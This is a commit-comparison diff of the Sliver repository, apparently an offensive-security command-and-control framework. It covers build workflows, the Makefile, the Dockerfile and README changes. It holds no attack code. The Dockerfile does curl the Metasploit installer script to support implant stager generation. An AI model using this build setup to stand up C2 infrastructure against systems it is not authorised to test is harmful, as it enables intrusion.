Compare commits

..
11354 changed files with 2496886 additions and 6429089 deletions

No files matched your search

-7
View File
@@ -1,9 +1,4 @@
# go-assets.sh downloads
/server/assets/fs/**.zip /server/assets/fs/**.zip
/server/assets/fs/**/garble*
/server/assets/fs/**/zig.tar.xz
/server/assets/fs/**/zig.zip
/server/assets/fs/src.zip
/*.sdk.tar.xz /*.sdk.tar.xz
@@ -24,5 +19,3 @@
/SECURITY.md /SECURITY.md
/README.md /README.md
/CONTRIBUTING.md /CONTRIBUTING.md
.downloaded_assets
+115 -69
View File
@@ -2,90 +2,136 @@ name: Release
on: on:
push: push:
branches: branches: [master]
- master
permissions:
contents: write
jobs: jobs:
tag-check: servers-build:
name: Check Release Tag name: Release Build Server
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest runs-on: ubuntu-latest
timeout-minutes: 30
outputs:
tag: ${{ steps.tag.outputs.tag }}
steps:
- name: Check Out Code
uses: actions/checkout@v6
with:
fetch-depth: 0
- name: Find Semver Tag
id: tag
run: |
git fetch --prune --tags -f
tag=$(git tag --points-at "$GITHUB_SHA" | grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' | head -n 1)
echo "tag=$tag" >> "$GITHUB_OUTPUT"
release:
name: Release
needs: tag-check
if: needs.tag-check.outputs.tag != ''
runs-on: ubuntu-latest
environment: release
timeout-minutes: 45 timeout-minutes: 45
steps: steps:
- name: Go 1.21
uses: actions/setup-go@v5
with:
go-version: "^1.21"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Check Out Code - name: Check Out Code
uses: actions/checkout@v6 uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make
run: make servers
- name: Server Artifacts
uses: actions/upload-artifact@v3
with: with:
fetch-depth: 0 name: servers
path: ./sliver-server_*
- name: Go 1.25 clients-build:
uses: actions/setup-go@v6 name: Release Build Client
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.21
uses: actions/setup-go@v5
with: with:
go-version: "1.25.6" go-version: "^1.21"
- name: Install Minisign - name: Check Out Code
run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign uses: actions/checkout@v4
- name: Build Clients - name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make
run: make clients
- name: Client Artifacts
uses: actions/upload-artifact@v3
with:
name: clients
path: ./sliver-client_*
tagged-release:
needs: [servers-build, clients-build]
name: "Tagged Release"
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- run: mkdir -p ./builds
- uses: actions/download-artifact@v3
with:
path: ./builds
- name: Extract Artifacts
run: | run: |
make clients mkdir -p ./artifacts
mkdir -p artifacts cp ./builds/clients/* ./artifacts
mv sliver-client_* artifacts/ cp ./builds/servers/* ./artifacts
- name: Build Servers - name: GPG Key(s)
run: | run: |
make servers cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
mv sliver-server_* artifacts/ gpg --list-secret-keys --keyid-format LONG
- name: Sign Artifacts # Linux
env: - name: Linux 386 (Client Only)
MINISIGN_KEY: ${{ secrets.MINISIGN_SLIVER_RELEASE_KEY }}
run: | run: |
echo "$MINISIGN_KEY" | base64 -d > minisign.key gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-386.sig --detach-sig ./artifacts/sliver-client_linux-386
echo "minisign.key bytes: $(wc -c < minisign.key | tr -d ' ')" - name: Linux AMD64
echo "minisign.key sha256: $(sha256sum minisign.key | awk '{print $1}')"
chmod 600 minisign.key
for file in artifacts/sliver-*; do
[ -f "$file" ] || continue
minisign -S -s minisign.key -m "$file" -x "$file.minisig" -W
done
rm -f minisign.key
- name: Create Release
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: | run: |
tag="${{ needs.tag-check.outputs.tag }}" gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-amd64.sig --detach-sig ./artifacts/sliver-server_linux-amd64
if gh release view "$tag" >/dev/null 2>&1; then gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-amd64.sig --detach-sig ./artifacts/sliver-client_linux-amd64
echo "Release $tag already exists." - name: Linux ARM64
exit 0 run: |
fi gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-arm64.sig --detach-sig ./artifacts/sliver-server_linux-arm64
gh release create "$tag" --generate-notes gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-arm64.sig --detach-sig ./artifacts/sliver-client_linux-arm64
- name: Upload Artifacts # Windows
env: - name: Windows 386 (Client Only)
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: |
run: gh release upload "${{ needs.tag-check.outputs.tag }}" artifacts/* --clobber gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-386.sig --detach-sig ./artifacts/sliver-client_windows-386.exe
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows-amd64.sig --detach-sig ./artifacts/sliver-server_windows-amd64.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-amd64.sig --detach-sig ./artifacts/sliver-client_windows-amd64.exe
- name: Windows ARM64 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-arm64.sig --detach-sig ./artifacts/sliver-client_windows-arm64.exe
# MacOS
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-amd64.sig --detach-sig ./artifacts/sliver-server_macos-amd64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-amd64.sig --detach-sig ./artifacts/sliver-client_macos-amd64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
# FreeBSD
- name: FreeBSD AMD64 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-amd64.sig --detach-sig ./artifacts/sliver-client_freebsd-amd64.exe
- name: FreeBSD ARM64 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-arm64.sig --detach-sig ./artifacts/sliver-client_freebsd-arm64.exe
- name: "Publish Release"
uses: "bishopfox/action-gh-release@v1"
with:
files: |
./artifacts/*
+7 -7
View File
@@ -16,13 +16,13 @@ jobs:
steps: steps:
# Setup go environment # Setup go environment
- name: Go 1.25 - name: Go 1.21
uses: actions/setup-go@v6 uses: actions/setup-go@v5
with: with:
go-version: "1.25.6" go-version: "^1.21"
- name: Checkout repository - name: Checkout repository
uses: actions/checkout@v6 uses: actions/checkout@v4
with: with:
# Must fetch at least the immediate parents so that if this is # Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request. # a pull request then we can checkout the head of the pull request.
@@ -36,10 +36,10 @@ jobs:
git build-essential zlib1g zlib1g-dev wget zip unzip git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Check Out Code - name: Check Out Code
uses: actions/checkout@v6 uses: actions/checkout@v4
- name: Initialize CodeQL - name: Initialize CodeQL
uses: github/codeql-action/init@v4 uses: github/codeql-action/init@v2
with: with:
config-file: ./.github/codeql/codeql-config.yml config-file: ./.github/codeql/codeql-config.yml
languages: go languages: go
@@ -48,6 +48,6 @@ jobs:
run: make run: make
- name: Perform CodeQL Analysis - name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v4 uses: github/codeql-action/analyze@v2
env: env:
VERSION: ${{github.sha}} VERSION: ${{github.sha}}
+6 -6
View File
@@ -35,7 +35,7 @@ jobs:
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v6 uses: actions/checkout@v3
- name: Detect package manager - name: Detect package manager
id: detect-package-manager id: detect-package-manager
@@ -56,17 +56,17 @@ jobs:
fi fi
- name: Setup Node - name: Setup Node
uses: actions/setup-node@v6 uses: actions/setup-node@v4
with: with:
cache: "npm" cache: "npm"
cache-dependency-path: "**/package-lock.json" cache-dependency-path: "**/package-lock.json"
node-version: "lts/*" node-version: "lts/*"
- name: Setup Pages - name: Setup Pages
uses: actions/configure-pages@v5 uses: actions/configure-pages@v3
- name: Restore cache - name: Restore cache
uses: actions/cache@v5 uses: actions/cache@v3
with: with:
path: | path: |
.next/cache .next/cache
@@ -85,7 +85,7 @@ jobs:
run: ${{ steps.detect-package-manager.outputs.runner }} next build run: ${{ steps.detect-package-manager.outputs.runner }} next build
- name: Upload artifact - name: Upload artifact
uses: actions/upload-pages-artifact@v4 uses: actions/upload-pages-artifact@v1
with: with:
path: ${{ github.workspace }}/docs/sliver-docs/out path: ${{ github.workspace }}/docs/sliver-docs/out
@@ -99,4 +99,4 @@ jobs:
steps: steps:
- name: Deploy to GitHub Pages - name: Deploy to GitHub Pages
id: deployment id: deployment
uses: actions/deploy-pages@v4 uses: actions/deploy-pages@v2
+31 -51
View File
@@ -21,62 +21,52 @@ jobs:
linux-windows-build-test: linux-windows-build-test:
name: Linux & Windows Test name: Linux & Windows Test
runs-on: ubuntu-latest runs-on: ubuntu-latest
timeout-minutes: 180 timeout-minutes: 90
steps: steps:
- name: Go 1.25 - name: Go 1.21
uses: actions/setup-go@v6 uses: actions/setup-go@v5
with: with:
go-version: "1.25.6" go-version: "^1.21"
- name: OS Packages - name: OS Packages
run: | run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \ sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check Out Code - name: Check Out Code
uses: actions/checkout@v6 uses: actions/checkout@v4
- name: Git Fetch Tags - name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f run: git fetch --prune --unshallow --tags -f
- name: Make Linux (amd64)
run: make linux-amd64
- name: Test Linux
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows (amd64) - name: Make Windows (amd64)
run: make windows-amd64 run: make windows-amd64
- name: Make Linux (arm64) - name: Make Linux (arm64)
run: make linux-arm64 run: make linux-arm64
- name: Make Linux (amd64)
run: make linux-amd64
- name: Determine go-tests flags
id: go-tests-flags
shell: bash
run: |
set -euo pipefail
base_sha="${{ github.event.pull_request.base.sha }}"
head_sha="${{ github.sha }}"
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
echo "args=" >> "$GITHUB_OUTPUT"
else
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
fi
- name: Test Linux
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
macos-build-test: macos-build-test:
name: MacOS Test name: MacOS Test
runs-on: macos-latest runs-on: macos-latest
timeout-minutes: 180 timeout-minutes: 90
steps: steps:
- name: Go 1.25 - name: Go 1.21
uses: actions/setup-go@v6 uses: actions/setup-go@v5
with: with:
go-version: "1.25.6" go-version: "^1.21"
- name: Mingw
run: brew install mingw-w64
- name: Check Out Code - name: Check Out Code
uses: actions/checkout@v6 uses: actions/checkout@v4
- name: Git Fetch Tags - name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f run: git fetch --prune --unshallow --tags -f
@@ -84,37 +74,27 @@ jobs:
- name: Make MacOS (amd64) - name: Make MacOS (amd64)
run: make macos-amd64 run: make macos-amd64
- name: Test MacOS (amd64)
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make MacOS (arm64) - name: Make MacOS (arm64)
run: make macos-arm64 run: make macos-arm64
- name: Determine go-tests flags
id: go-tests-flags
shell: bash
run: |
set -euo pipefail
base_sha="${{ github.event.pull_request.base.sha }}"
head_sha="${{ github.sha }}"
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
echo "args=" >> "$GITHUB_OUTPUT"
else
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
fi
- name: Test MacOS
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
clients-build: clients-build:
name: Clients Build name: Clients Build
runs-on: ubuntu-latest runs-on: ubuntu-latest
timeout-minutes: 90 timeout-minutes: 90
steps: steps:
- name: Go 1.25 - name: Go 1.21
uses: actions/setup-go@v6 uses: actions/setup-go@v5
with: with:
go-version: "1.25.6" go-version: "^1.21"
- name: Check Out Code - name: Check Out Code
uses: actions/checkout@v6 uses: actions/checkout@v4
- name: Git Fetch Tags - name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f run: git fetch --prune --unshallow --tags -f
-7
View File
@@ -2,11 +2,6 @@
/.devcontainer /.devcontainer
/.idea /.idea
/artifacts
/artifacts/**
*.rc
/Dockerfile.* /Dockerfile.*
/*.sdk.tar.xz /*.sdk.tar.xz
@@ -50,8 +45,6 @@ sliver-server-windows.zip
.DS_Store .DS_Store
dist/ dist/
.gocache/
.gomodcache/
# Flag to show that go-assets.sh has been run # Flag to show that go-assets.sh has been run
.downloaded_assets .downloaded_assets
-18
View File
@@ -1,18 +0,0 @@
# Repository Guidelines
## Build, Test, and Development Commands
- `make` builds server + client using vendored modules and runs `go-assets.sh`.
- `make client` builds a CGO-free client; `make debug` keeps symbols.
- `make pb` regenerates protobuf stubs from `protobuf/`.
- `./go-tests.sh` runs the curated Go test suite with build tags.
- Docs site: `cd docs/sliver-docs && npm install && npm run dev` for local dev; `npm run build` for a static build.
## Coding Style & Naming Conventions
- Run `gofmt` on all Go code; keep package names lowercase and idiomatic.
- Avoid `CGO` and empty interfaces; prefer explicit types and interfaces.
- Do not import `server` packages from `client`.
## Testing Guidelines
- Prefer `docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .`
- Add or update tests when behavior changes; some server packages run longer tests.
+15 -14
View File
@@ -5,12 +5,11 @@
# #
# For unit testing: # For unit testing:
# docker build --target test . # docker build --target test .
# docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .
# #
# STAGE: base # STAGE: base
## Compiles Sliver for use ## Compiles Sliver for use
FROM golang:latest AS base FROM --platform=linux/amd64 golang:1.21.4 as base
### Base packages ### Base packages
RUN apt-get update --fix-missing && apt-get -y install \ RUN apt-get update --fix-missing && apt-get -y install \
@@ -21,33 +20,30 @@ RUN groupadd -g 999 sliver && useradd -r -u 999 -g sliver sliver
RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
### Build sliver: ### Build sliver:
RUN mkdir -p /go/src/github.com/bishopfox/sliver
WORKDIR /go/src/github.com/bishopfox/sliver WORKDIR /go/src/github.com/bishopfox/sliver
ADD . /go/src/github.com/bishopfox/sliver/ ADD . /go/src/github.com/bishopfox/sliver/
RUN make RUN make clean-all
RUN make
RUN cp -vv sliver-server /opt/sliver-server RUN cp -vv sliver-server /opt/sliver-server
# STAGE: test # STAGE: test
## Run unit tests against the compiled instance ## Run unit tests against the compiled instance
## Use `--target test` in the docker build command to run this stage ## Use `--target test` in the docker build command to run this stage
FROM base AS test FROM --platform=linux/amd64 base as test
ARG GO_TESTS_FLAGS=""
ENV GO_TESTS_FLAGS="${GO_TESTS_FLAGS}"
RUN apt-get update --fix-missing \ RUN apt-get update --fix-missing \
&& apt-get -y upgrade \ && apt-get -y upgrade \
&& apt-get -y install \ && apt-get -y install \
curl curl gcc-multilib build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64
RUN /opt/sliver-server unpack --force RUN /opt/sliver-server unpack --force
### Run unit tests ### Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh ${GO_TESTS_FLAGS} RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# STAGE: production # STAGE: production
## Final dockerized form of Sliver ## Final dockerized form of Sliver
FROM debian:bookworm-slim AS production FROM --platform=linux/amd64 debian:bookworm-slim as production
### Install production packages ### Install production packages
RUN apt-get update --fix-missing \ RUN apt-get update --fix-missing \
@@ -60,7 +56,8 @@ RUN apt-get update --fix-missing \
postgresql-contrib postgresql-client libpq-dev \ postgresql-contrib postgresql-client libpq-dev \
curl libapr1 libaprutil1 libsvn1 \ curl libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \ libpcap-dev libsqlite3-dev libgmp3-dev \
nasm mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
### Install MSF for stager generation ### Install MSF for stager generation
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \ RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
@@ -95,11 +92,15 @@ ENTRYPOINT [ "/opt/sliver-server" ]
# STAGE: production-slim (about 1Gb smaller) # STAGE: production-slim (about 1Gb smaller)
FROM debian:bookworm-slim AS production-slim ### Slim production image, i.e. without MSF and assoicated libraries
### Still include GCC and MinGW for cross-platform generation
FROM --platform=linux/amd64 debian:bookworm-slim as production-slim
### Install production packages ### Install production packages
RUN apt-get update --fix-missing \ RUN apt-get update --fix-missing \
&& apt-get -y upgrade && apt-get -y upgrade \
&& apt-get -y install \
build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
### Cleanup unneeded packages ### Cleanup unneeded packages
RUN apt-get autoremove -y \ RUN apt-get autoremove -y \
+36 -17
View File
@@ -16,32 +16,49 @@ endif
# Prerequisites # Prerequisites
# #
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile # https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
EXECUTABLES = uname sed git date cut $(GO) EXECUTABLES = uname sed git zip date cut $(GO)
K := $(foreach exec,$(EXECUTABLES),\ K := $(foreach exec,$(EXECUTABLES),\
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH"))) $(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
# #
# Build Information # Version Information
# #
GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1) GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2) GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1 MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 25 MIN_SUPPORTED_GO_MINOR_VERSION = 21
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION) GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
SLIVER_PUBLIC_KEY ?= RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
ARMORY_PUBLIC_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L ARMORY_PUBLIC_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
SLIVER_UPDATE_PKG = github.com/bishopfox/sliver/client/command/update
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
LDFLAGS = -ldflags "-s -w \ LDFLAGS = -ldflags "-s -w \
-X $(SLIVER_UPDATE_PKG).SliverPublicKey=$(SLIVER_PUBLIC_KEY) \ -X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \ -X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)" -X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
# Debug builds shouldn't be stripped (-s -w flags) # Debug builds shouldn't be stripped (-s -w flags)
LDFLAGS_DEBUG = -ldflags "-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \ LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)" -X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
SED_INPLACE := sed -i SED_INPLACE := sed -i
@@ -66,9 +83,7 @@ endif
# If no target is specified, determine GOARCH # If no target is specified, determine GOARCH
ifeq ($(UNAME_P),arm) ifeq ($(UNAME_P),arm)
ifeq ($(MAKECMDGOALS), ) ifeq ($(MAKECMDGOALS), )
ifeq ($(origin GOARCH), undefined) ENV += GOARCH=arm64
ENV += GOARCH=arm64
endif
endif endif
endif endif
@@ -76,6 +91,12 @@ ifeq ($(MAKECMDGOALS), linux)
# Redefine LDFLAGS to add the static part # Redefine LDFLAGS to add the static part
LDFLAGS = -ldflags "-s -w \ LDFLAGS = -ldflags "-s -w \
-extldflags '-static' \ -extldflags '-static' \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \ -X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)" -X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
endif endif
@@ -84,10 +105,9 @@ endif
# Targets # Targets
# #
.PHONY: default .PHONY: default
default: clean validate-go-version default: clean .downloaded_assets validate-go-version
env -u GOOS -u GOARCH $(MAKE) GOOS= GOARCH= .downloaded_assets $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(if $(GOOS),GOOS=$(GOOS)) $(if $(GOARCH),GOARCH=$(GOARCH)) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
$(ENV) $(if $(GOOS),GOOS=$(GOOS)) $(if $(GOARCH),GOARCH=$(GOARCH)) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
# Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client` # Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client`
# NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work. # NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work.
@@ -134,9 +154,8 @@ clients: clean .downloaded_assets validate-go-version
GOOS=freebsd GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-arm64$(ARTIFACT_SUFFIX) ./client GOOS=freebsd GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-arm64$(ARTIFACT_SUFFIX) ./client
.PHONY: servers .PHONY: servers
servers: clean .downloaded_assets validate-go-version servers:
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-arm64$(ARTIFACT_SUFFIX).exe ./server
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
@@ -180,5 +199,5 @@ clean:
rm -f sliver-client sliver-client_* sliver-server sliver-server_* sliver-*.exe rm -f sliver-client sliver-client_* sliver-server sliver-server_* sliver-*.exe
.downloaded_assets: .downloaded_assets:
$(ENV) $(GO) run -mod=vendor ./util/cmd/assets ./go-assets.sh
touch ./.downloaded_assets touch ./.downloaded_assets
+11 -3
View File
@@ -6,7 +6,11 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
[![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0) [![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
Visit [https://sliver.sh/](https://sliver.sh/) for tutorials and documentation. # v1.6.0 / `master`
**NOTE:** You are looking the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
### Features ### Features
@@ -17,7 +21,7 @@ Visit [https://sliver.sh/](https://sliver.sh/) for tutorials and documentation.
